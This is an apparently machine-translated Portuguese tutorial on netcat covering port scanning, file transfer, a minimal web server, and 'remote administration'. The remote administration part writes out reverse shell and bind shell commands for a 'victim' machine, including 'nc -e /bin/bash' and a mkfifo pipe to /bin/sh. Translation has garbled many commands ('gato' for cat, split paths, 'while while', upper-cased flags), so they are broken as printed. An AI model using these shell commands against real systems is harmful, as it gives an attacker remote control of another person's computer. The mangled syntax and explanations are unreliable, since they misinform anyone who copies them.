Existem dois pacotes semelhantes disponíveis para o NetCat com uma pequena diferença entre eles.
NetCat-tradicional Inclui uma opção '-e' adicional que pode ser usada para vincular um programa (i.e Bash) com netcat. Este recurso é muito útil para fins de administração remota.
netcat-openbsd tem algum suporte adicional para IPv6 e proxies.
Instalação do NetCat
Embora o NetCat seja pré-instalado na maioria das distribuições Linux, mas se não for, ele pode ser instalado facilmente usando os seguintes comandos.
Para pacote tradicional,
ubuntu@ubuntu: ~ $ sudo apt-get install netcat-tradicional
Para versão OpenBSD,
ubuntu@ubuntu: ~ $ sudo apt-get install netcat-openbsd
NetCat for Windows pode ser baixado daqui https: // fonteforge.net/projetos/nc110/arquivos/.
Agora vamos explorar alguns casos de uso interessantes de netcat
Digitalização de porta usando NetCat
Para procurar portas abertas, use a opção '-z'. O NetCat tentará se conectar a todas as portas sem enviar dados ou dados muito limitados no caso UDP. Digite o seguinte
ubuntu@ubuntu: ~ $ nc -z -v hackme.org 80
… Snip…
hackme.org [217.78.1.155] 80 (http) aberto
Para digitalizar uma variedade de portas, digite
ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Desconhecido) [192.168.100.72] 80 (http) aberto
(Desconhecido) [192.168.100.72] 22 (ssh) aberto
Transferência de arquivos com netcat
Outro caso de uso útil do NetCat é a transferência de arquivos entre computadores remotos. Você pode enviar textos e arquivos binários de um PC para outro PC. Tentaremos enviar um arquivo “arquivo.PDF ”do Linux PC ao Windows PC [IP 192.168.100.72] usando o netcat como exemplo.
Na máquina Windows (receptor), digite o seguinte
C: \ Usuários> NC -NVLP 1337> Arquivo.pdf
Ouvindo em [0.0.0.0] (Família 2, porta 1337)
Na máquina Linux (remetente), digite o seguinte
ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Conexão com 192.168.100.72 1337 porta [TCP/*] conseguiu!
Administração remota com netcat
Um dos melhores casos de uso do NetCat é a administração remota, isso significa que você pode controlar o PC de outra pessoa usando o NetCat. NetCat-Trraditional vem com a opção '-e' que pode ser usada para vincular um programa (i.e cmd.exe no Windows ou Bash no Linux) com uma porta, isso significa que o NetCat atuará como comunicador entre o programa e o PC remoto. O NetCat receberá comandos do PC remoto, executará no sistema local e enviará os resultados de volta ao PC remoto. Esse recurso é amplamente utilizado para fins maliciosos, para manter backdoors em PCs e servidores. Esse recurso está disponível apenas no NetCat-tradicional, mas com um pequeno truque, o NetCat-OpenBSD também pode ser usado para o mesmo objetivo. Você pode usar duas maneiras de controlar o PC de outras pessoas.
Em um Casca reversa Conexão, um atacante ouve em uma porta e aguarda que uma conexão seja enviada da máquina da vítima. É usado quando o computador da vítima está atrás do NAT ou não tem IP público.
Para obter um shell reverso usando o netcat, você precisa ouvir em uma porta usando o netcat. Digite o seguinte na máquina de atacante,
ubuntu@ubuntu: ~ $ nc -nvlp 1337
Ouvindo em [0.0.0.0] (Família 2, porta 1337)
Na máquina de vítimas (se NetCat-tradicional está instalado)
// Substitua “/bin/bash” por “cmd.exe ”em caso de janelas
ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash
Para netcat-openbsd (onde a opção “-e” não é suportada)
ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f; gato
/tmp/f |/bin/sh -i 2> & 1 | nc [ip_addr] 1337>/tmp/f
Enquanto em um Liga a concha Conexão, o invasor liga uma porta na máquina da vítima e se conecta a essa porta usando soquete do cliente. É usado quando a máquina do atacante está atrás do NAT ou não tem um IP público.
Na máquina de vítimas, digite
ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Ouvindo [qualquer] 1337…
Agora, para executar comandos na máquina da vítima, digite
ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Conexão com 127.0.0.1 1337 porta [tcp/*] conseguiu!
$ id
UID = 1000 (Azad) Gid = 1000 (Azad) Grupos = 1000 (Azad), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (DIP), 46 (Plugdev), 118 (lpadmin), 129 (Sambashare)
Servidor web simples usando o netcat
Você também pode fazer outro truque simples para usar o NetCat como servidor web mínimo de página única. Este servidor da web seria muito simples, sem configurações especiais, e usaremos o nosso código HTML para o navegador.
ubuntu@ubuntu: ~ $ while while; ECHO -E "HTTP/1.1 200 ok \ n \ n $ (echo "")" | NC -NVLP 1337; feito
Meu servidor da web simples usando o netcat
Ouvindo em [0.0.0.0] (Família 2, porta 1337)
Agora, tente buscar a página da web usando Curl
Ubuntu@ubuntu: ~ $ Curl http: // 127.0.0.1: 1337/Meu servidor da web simples usando o netcat
Especifique o tempo limite para uma sessão do NetCat
Você pode especificar o tempo limite para uma sessão do NetCat usando a opção "-w". O NetCat desconectará automaticamente sua sessão após o tempo especificado.
// -w [tempo em segundos]
ubuntu@ubuntu: ~ $ nc -W 40 -NVLP 1337
Ouvindo em [0.0.0.0] (Família 2, porta 1234)
Continue ouvindo mesmo se o cliente fechar a conexão
No modo normal, o servidor NetCat é desligado e pare de ouvir na porta quando um cliente fecha a conexão. Você pode manter o servidor usando a opção "-k"
ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Ouvindo em [0.0.0.0] (Família 2, porta 1234)
NetCat é uma utilidade simples, mas eficiente, que pode ser usada para muitas tarefas diárias simples. Ele vem pré-instalado em quase todos os sistemas operacionais do UNIX e pode ser usado para várias tarefas, como comunicação entre dois PCs, transferência de arquivos e muito mais.